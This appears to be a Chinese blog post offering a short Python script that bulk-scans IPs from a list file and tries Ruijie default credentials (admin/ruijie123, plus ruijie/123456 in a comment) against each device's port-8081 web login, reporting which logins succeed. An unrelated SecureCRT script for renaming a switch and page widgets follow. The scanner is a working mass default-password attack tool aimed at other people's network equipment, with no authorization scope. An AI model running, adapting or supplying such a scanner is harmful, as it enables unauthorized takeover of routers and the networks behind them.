锐捷弱口令脚本

随便写了个锐捷弱口令批量扫描的脚本,比较简单

import requests

def login(username,password,signname):
    fopen = open("4430.txt", 'r')
    lines = fopen.readlines()

    # print(lines)
    count = 0
    for ip in lines:
        ip = ip.strip()
        #print(ip)
        url = "http://" + ip + ":8081/login.html"
        login_url = url
        #print(login_url)
        data = {"username": username,
                "password": password,
                "signname": signname,
                }
        count += 1
        #print(count)
        if count % 500 == 0:#每500个ip提示一次
            print("当前已扫描" + str(count) + "个IP,最后IP为:" + ip)
        try:
            header = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36"}
            req = requests.post(login_url,data,headers=header,timeout=1)
            req.encoding = 'utf-8'
            #print(req.text)
            if "Internet!" in req.text:
                print("###########登陆成功##########")
            else:
                print(ip+"登陆失败")
        except:
            pass


if __name__ == '__main__':
    username = "admin"
    password = "ruijie123"
    signname = "Red-Giant"
    login(username, password, signname)
    #ruijie/123456
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
以下是一个SecureCRT脚本示例,可以用于更改锐捷交换机的主机名: ```python # $language = "Python" # $interface = "1.0" def main(): # 连接到锐捷交换机 cmd = "/SSH2 /L username /PASSWORD password /C aes256-cbc /M hmac-sha2-256 ip_address" crt.Session.Connect(cmd) # 切换到特权模式 crt.Screen.WaitForString("Username:") crt.Screen.Send("username\r") crt.Screen.WaitForString("Password:") crt.Screen.Send("password\r") crt.Screen.WaitForString(">") crt.Screen.Send("enable\r") crt.Screen.WaitForString("Password:") crt.Screen.Send("enable_password\r") # 更改主机名 crt.Screen.WaitForString("#") crt.Screen.Send("system-view\r") crt.Screen.WaitForString("[system-view]") crt.Screen.Send("hostname new_hostname\r") crt.Screen.WaitForString("[new_hostname]") crt.Screen.Send("quit\r") # 保存配置并退出 crt.Screen.WaitForString("[~") crt.Screen.Send("save\r") crt.Screen.WaitForString("Y/N") crt.Screen.Send("y\r") crt.Screen.WaitForString("[~") crt.Screen.Send("quit\r") # 断开连接 crt.Screen.WaitForString("$ ") crt.Session.Disconnect() main() ``` 这个脚本连接到IP地址为ip_address的锐捷交换机,使用用户名、密码和特权密码进行身份验证。然后,它使用system-view命令进入配置模式,并使用hostname命令更改主机名为new_hostname。接下来,它使用save命令保存配置,并使用quit命令退出特权模式。最后,它断开SSH连接。 请注意,此示例脚本仅供参考。实际使用中,您可能需要根据自己的需求进行修改。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值